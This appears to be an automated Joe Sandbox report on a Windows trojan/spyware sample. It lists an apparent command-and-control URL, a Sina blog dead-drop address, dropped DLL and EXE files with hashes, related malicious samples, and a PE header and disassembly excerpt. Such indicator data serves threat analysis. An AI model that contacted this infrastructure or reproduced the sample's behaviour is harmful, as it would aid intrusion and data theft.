http://107.163.241.204:12354/show.phpv	rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3515855541.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2262348463.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3597257344.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3758155005.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpI	rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3515855541.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3758155005.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807.	rundll32.exe, 00000006.00000003.1813762319.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z:	rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/%s	rundll32.exe, rundll32.exe, 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp	false		high
http://107.163.241.204:12354/show.php.T6	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807XT	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807h	rundll32.exe, 00000006.00000002.3803023615.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807nts	rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpA	rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807pData	rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpB	rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpE	rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phplTp	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpzTb	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpZ	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/crosoft	rundll32.exe, 00000006.00000003.1693170909.0000000000D46000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/56550298079	rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807:	rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z	rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2262348463.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3597257344.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000C5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3758155005.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z%	rundll32.exe, 00000006.00000003.1813762319.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpFT	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807Data	rundll32.exe, 00000006.00000003.2422808877.0000000005BA4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807v	rundll32.exe, 00000006.00000003.1813762319.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpT	rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3597257344.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807(	rundll32.exe, 00000006.00000003.2262348463.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpW	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpbTz	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/%sXGRyaXZlcnNcZXRjXGhvc3RzLmljcw==XGRyaXZlcnNcZXRjXGhvc3Rz	rundll32.exe, 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp	false		high
http://blog.sina.com.cn/u/5655029807	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000C5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.php(	rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phph	rundll32.exe, 00000006.00000003.2423080539.0000000005B33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.24I	rundll32.exe, 00000006.00000002.3807350725.0000000004EEB000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.php)	rundll32.exe, 00000006.00000002.3807350725.0000000004EEB000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3808953016.0000000004F6D000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807I	rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.php#	rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpc	rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807A	rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.php%	rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807B	rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.sina.com.cn/	rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpg	rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
202.108.0.52	blogx.sina.com.cn	China		4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
107.163.241.204	unknown	United States		20248	TAKE2US	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573195
Start date and time:	2024-12-11 16:22:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	XgijTrY6No.exe renamed because original name is a hash value
Original Sample Name:	02e18916d32cb641ad472bf835fa86d6a62b8e86f8838f062fd46cb4b88ccced.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@22/3@51/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 70 Number of non-executed functions: 72
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: XgijTrY6No.exe

Simulations

Behavior and APIs

Time	Type	Description
10:23:47	API Interceptor	629286x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
202.108.0.52	VqCbf9fhnQ.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	k4F4uRTZZR.dll	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	5jme4p7u76.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	cloudflare.msi	Get hash	malicious	DanaBot	Browse	13.107.246.63
	discord.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	Document.xla	Get hash	malicious	Unknown	Browse	13.107.246.63
	Message_2713712.eml	Get hash	malicious	Unknown	Browse	13.107.246.63
	FreebieNotes.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	xeroxscan.Docx	Get hash	malicious	Unknown	Browse	13.107.246.63
	xeroxscan.Docx	Get hash	malicious	Unknown	Browse	13.107.246.63
	xeroxscan.Docx	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://www.officested.com/eur/14cb4ab4-62b8-45a2-a944-e225383ee1f9/bbd2fe64-a7e1-4036-87ed-fa296dec6eb4/3966c028-c5bc-45c3-932e-642ccbdd8bca/login?id=Zjc0eUxaVU1jVElZSFBZVWJoQXgrZGErVWw5TzBLNllUbTV2WGJKbjRIbk00VFJpTUxwZzJJWnZ2dnBXZjVyYldlWk9NOTQ4WGViVXUzUkI3TmFGdXhRQU9kWDdUUlFXRnlMaUdhZWVuVE9tdnc5bjFNaWs1M1ozTkRnUldwUHdHQ2gzNmRGTDZUM0pkbVExc2Vxa05lWExvQU5WZTFibEpLeXJwM0RIYWJKUjkrWlBZNU5DRUFuTzc0dEZVb2tyOUlxMkVRK0pHSEllMFZLZkJTSXorK2Nady9WcmlFRUJVRkFZRXFrRkhmQ3pPTktuS2djQkVyQ2krUWpEZGlBY2ZCUi9neElRTFVINExCdkNIeVc1bXROSlNLaW9YYUlkWGZ4aFVDSVlIME5VMjY5MUQwRzd1cXBsSEpsZWYyR0pWaUdVdi9wZ3pHckJoK3FCNDRxN3huQzhhVXY5WU5PcWpoRDdDU3FZUWtUWDg2amJyWjQ0ZHhhOGprZGZUU0czOWhHaEFjZnhCR0JRdGlzVUp5ZVJqSmtSOWtvRE90VWp2SWJMb1VUNWpvTT0	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
blogx.sina.com.cn	08e2VwqyI0.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	PqZ6GU98Eh.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	jYAKmjIPgI.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	b3sV534MMf.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	NaRZIOq3O8.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	33twe7X26S.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	MYuRWuVXzX.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	yKVQVNB2qI.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	gmqIbj35WF.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	81mieek02V.dll	Get hash	malicious	Unknown	Browse	202.108.0.52

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	123.121.0.198
	Josho.mpsl.elf	Get hash	malicious	Unknown	Browse	124.192.197.161
	Josho.mips.elf	Get hash	malicious	Unknown	Browse	114.67.239.168
	hax.x86.elf	Get hash	malicious	Mirai	Browse	221.222.118.76
	hax.ppc.elf	Get hash	malicious	Mirai	Browse	140.210.138.192
	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	103.135.163.78
	rebirth.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	122.113.109.82
	rebirth.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	123.126.198.111
	rebirth.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	116.218.224.190
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	161.207.226.55
TAKE2US	08e2VwqyI0.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	PqZ6GU98Eh.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	jYAKmjIPgI.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	b3sV534MMf.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	NaRZIOq3O8.dll	Get hash	malicious	Unknown	Browse	107.163.241.193
	33twe7X26S.dll	Get hash	malicious	Unknown	Browse	107.163.241.193
	MYuRWuVXzX.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	JwLT3elUtn.dll	Get hash	malicious	Unknown	Browse	107.163.43.161
	yKVQVNB2qI.dll	Get hash	malicious	Unknown	Browse	107.163.56.240
	46PhJ3XpBT.dll	Get hash	malicious	Unknown	Browse	107.163.43.236

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	202.108.0.52
	CcIlKT6XdC.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc, Vidar	Browse	202.108.0.52
	PO_11100011211.Vbs.vbs	Get hash	malicious	FormBook	Browse	202.108.0.52
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	202.108.0.52
	DOCUMENT#5885588@081366(766.pdf.exe	Get hash	malicious	GuLoader, Remcos	Browse	202.108.0.52
	Bank Swift and SOA PVRN0072700314080353_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.108.0.52
	LXS5itpTK7.exe	Get hash	malicious	Stealc	Browse	202.108.0.52
	SEejSLAS9f.exe	Get hash	malicious	Stealc	Browse	202.108.0.52
	http://dcr0eadbm64ph.cloudfront.net/IDCVt99WXiQU.exe	Get hash	malicious	Poisonivy	Browse	202.108.0.52
	EbXj93v3bO.exe	Get hash	malicious	Stealc	Browse	202.108.0.52

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2175
Entropy (8bit):	4.345606928537238
Encrypted:	false
SSDEEP:	24:8DHNxDLOY1Jan3LzVzao6jzonQlxMnHODiOSGLdjMrGg6Wz7mUzHt0N3Cdkg4Cn0:53tOYQUVnz7zHtJkGTo
MD5:	4F8457524B04E8E471135A01335692C8
SHA1:	EE293ADFDDFB8F2900EA4878CAB7F457C9BB00E1
SHA-256:	0EC2450D39F77FE563889014E82AB4B6F5ACD0AA81CA4BC23B4913ADFCEBE2D3
SHA-512:	6C462501059F334FEE871AD47585E11A945DFAF5E920DFDC44E5C373B9C3CD3250B165E067195A35EEB3EED24FAA854CBF0049F604B018F804E63A4DF752C108
Malicious:	false
Preview:	..2024-12-11 13:50..iOffset....2024-12-11 16:06..iOffset....2024-12-11 19:29..iOffset....2024-12-11 20:56..iOffset....2024-12-11 23:17..iOffset....2024-12-12 02:51..iOffset....2024-12-12 04:33..iOffset....2024-12-12 09:27..iOffset....2024-12-12 13:16..iOffset....2024-12-12 17:00..iOffset....2024-12-12 20:48..iOffset....2024-12-12 23:15..iOffset....2024-12-13 04:15..iOffset....2024-12-13 06:24..iOffset....2024-12-13 11:25..iOffset....2024-12-13 16:52..iOffset....2024-12-13 20:15..iOffset....2024-12-14 04:14..iOffset....2024-12-14 07:50..iOffset....2024-12-14 18:15..iOffset....2024-12-15 00:54..iOffset....2024-12-15 17:11..iOffset....2024-12-16 02:10..iOffset....2024-12-18 16:56..iOffset....2024-12-19 14:44..iOffset....2024-12-20 01:18..iOffset....2024-12-20 22:11..iOffset....2025-05-26 23:47..iOffset....2025-07-27 08:08..iOffset....2025-08-13 13:44..iOffset....2025-09-24 09:00..iOffset....2025-11-09 03:42..iOffset....2025-12-15 17:35..iOffset....2025-12-31 13:18..iOffset....2026-01-26 2

C:\Users\user\AppData\Local\Temp\mszcy.exe

Download File

Process:	C:\Users\user\Desktop\XgijTrY6No.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	87764
Entropy (8bit):	6.839765003056181
Encrypted:	false
SSDEEP:	1536:8gDktLw4rO10tMrlk3SJDlf98jqP+8il3CxOeZIckWlmypQ:uLRrO10TiJD9yjqrilyxOuPpQ
MD5:	847CCE07E3BF3D974D1D089F5028E95F
SHA1:	AD360C293D76F4566445B971E219E3BC5A51AB2D
SHA-256:	C8BE6A496ACED8BC88340EBB357327701E6A9777821A3F1C5ABE3A9C5880170A
SHA-512:	C2A40CD3E2C081F1F23956CE58185F65E203A31A07AB3A48509161E7540E9E1E3030D3F8FFC55B80C1A96654A74CAF2DF7A2B5AA5502BA1F3BC467E070392F6B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........x...x...x...%...x...v...x.v.r...x.v.\|...x...y.S.x.v.s...x.&.~...x.Rich..x.PE..L...~..U.................0.........."/.......@....@..........................p..............................................HM.......p.......................O.......................................................................................text....0.......$.................. ..`.rdata... ...@.......(..............@..@.data........`.......>..............@....rsrc........p.......D..............@..@.CG...... ...@......................`....adata.......`.......(..............@...................................................................................................................................................................................................................................................................................................................

C:\ftelcs\rjqzr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\mszcy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, PECompact2 compressed
Category:	dropped
Size (bytes):	45576
Entropy (8bit):	7.865404631369311
Encrypted:	false
SSDEEP:	768:DICzePjle2367kjhrXLdCuYMW8QVnwrLDGe/brbtJyOTuXfADVjeJ2i/MVJWAE:DDePjA23Ukjh37YMonwrvGybrbbRCf4E
MD5:	0F12A7D509B2C9BB9B4CD6D8A0325E86
SHA1:	F5FB59AD4F0633D115B06F35A2DC161DC4367157
SHA-256:	9111C1EB1F0B59DCD49CFD5A0ABC0BA100AC59A3BCAE8623FF091DFDC46FED3C
SHA-512:	E3C84A643FF0A2627DABA8A056221985A472AAF07BADE61B3E9459DB4BFC8792C1347606911E3FCC01581508004B18B5435BCCCD5E7617CC6D091F37A5F42E7F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[v.2...a...a...ad..a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...aRich...a........PE..L....v.U...........!................. ....... ..............................."......................................$...G....................................................................................................K.......................text...................PEC2........ ....rsrc............................... ....reloc..............................@...GDR.......... ............C..W...... ............................................rsrc...b.......b................... ...................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.834600080669012
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	XgijTrY6No.exe
File size:	87'284 bytes
MD5:	fc2914434d6121f5e04e8e70e235c239
SHA1:	2cb4237f4c0db11c3b6d80b54c9148daeccfeed6
SHA256:	02e18916d32cb641ad472bf835fa86d6a62b8e86f8838f062fd46cb4b88ccced
SHA512:	27322da544de7d7d1d676edc5dd8dadbdf3e8af0936e6a99b307abc1990df00ec3ae18ef63625929b2935abe3dbb75f51782c5e6fc2b47f894a0ae820065a8f4
SSDEEP:	1536:8gDktLw4rO10tMrlk3SJDlf98jqP+8il3CxOeZIckWlmypV:uLRrO10TiJD9yjqrilyxOuPpV
TLSH:	2983BE5DBD93886ED0018B3547578725E6B2AC19F9314F334350FA1DAF3690BEED9288
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............x...x...x...%...x...v...x.v.r...x.v.\|...x...y.S.x.v.s...x.&.~...x.Rich..x.PE..L...~..U.................0.........."/.....

File Icon


Icon Hash:	f0bb9b9b9b9bfe7d

Static PE Info

General

Entrypoint:	0x402f22
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x55F8F97E [Wed Sep 16 05:09:18 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7149be53ab0cc890706cc958454a7873

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 00404AD8h
push 00402F10h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [00404268h]
pop ecx
or dword ptr [004066A8h], FFFFFFFFh
or dword ptr [004066ACh], FFFFFFFFh
call dword ptr [0040426Ch]
mov ecx, dword ptr [0040669Ch]
mov dword ptr [eax], ecx
call dword ptr [00404270h]
mov ecx, dword ptr [00406698h]
mov dword ptr [eax], ecx
mov eax, dword ptr [00404274h]
mov eax, dword ptr [eax]
mov dword ptr [004066A4h], eax
call 00007F5C28BDF188h
cmp dword ptr [00406590h], ebx
jne 00007F5C28BE0FDEh
push 004030A4h
call dword ptr [00404278h]
pop ecx
call 00007F5C28BE10BDh
push 00406020h
push 0040601Ch
call 00007F5C28BE10A8h
mov eax, dword ptr [00406694h]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [00406690h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00404280h]
push 00406018h
push 00406000h
call 00007F5C28BE1075h

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[LNK] VS98 (6.0) imp/exp build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4d48	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7000	0xc8e4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x14fb0	0x8	.CG
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3000	0x2400	e5604bb5c441332166d846e4e0c49c2b	False	0.560546875	COM executable for DOS	6.036937988019541	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x4000	0x2000	0x1600	fd41b19e9ec06f7b66492dc4ca23e649	False	0.34410511363636365	data	4.8504121264257725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x6000	0x1000	0x600	3e4e842fedc9d2e7fe48ac505a51b4a8	False	0.2890625	data	2.9847726844923748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7000	0xd000	0xc800	cfaa119fa35a42ffce5c8d54d2130533	False	0.87822265625	data	7.677730986482495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
